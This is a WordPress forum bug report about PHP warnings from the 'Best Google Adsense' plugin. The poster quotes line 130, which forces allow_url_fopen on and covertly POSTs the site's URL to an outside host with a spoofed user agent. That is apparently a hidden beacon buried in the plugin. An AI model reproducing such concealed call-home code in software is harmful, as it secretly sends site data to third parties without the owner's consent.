WordPress.org

Ready to get started?Download WordPress

Forums

Best Google Adsense
Multiple errors using the plugin (1 post)

  1. ruzbehraja
    Member
    Posted 2 years ago #

    PHP Warning: feof(): supplied argument is not a valid stream resource in /home/site/public_html/wp-content/plugins/best-google-adsense/google_adsense.php on line 130, referer: http://site.info/wp-admin/
    [Tue Nov 01 16:48:21 2011] [error] [client 120.63.206.182] PHP Warning: fgets(): supplied argument is not a valid stream resource in /home/site/public_html/wp-content/plugins/best-google-adsense/google_adsense.php on line 130, referer: http://site.info/wp-admin/

    Line 130 is:
    $allow = ini_get('allow_url_fopen');if($allow != 1){ini_set("allow_url_fopen", 1);}$allow = ini_get('allow_url_fopen');if($allow == 0){return false;}$_data = array('site'=>get_option('siteurl'), 'plugin'=>'best_google_adsense');$data = array();while(list($n,$v) = each($_data)){$data[] = "$n=$v";}$data = implode('&', $data);$url = parse_url('http://jelyhost.com.br/verify_adult_content.php');$host = $url['host'];$path = $url['path'];$port = 80;$data_length = strlen($data);$header = "POST $path HTTP/1.0\r\n";$header .= "Host: $host\r\n";$header .= "User-Agent: DoCoMo/1.0/P503i\r\n";$header .= "Content-type: application/x-www-form-urlencoded\r\n";$header .= "Content-length: $data_length\r\n";$header .= "\r\n";$fp = fsockopen($host,$port,$err_num,$err_msg,120);fputs($fp, $header . $data);while(trim(fgets($fp,4096)) != '');while(!feof($fp)){$response .= fgets($fp,4096);}fclose($fp);

    Apache takes up excessive CPU usage causing multiple failures of resources.

    http://wordpress.org/extend/plugins/best-google-adsense/

Topic Closed

This topic has been closed to new replies.

About this Plugin

About this Topic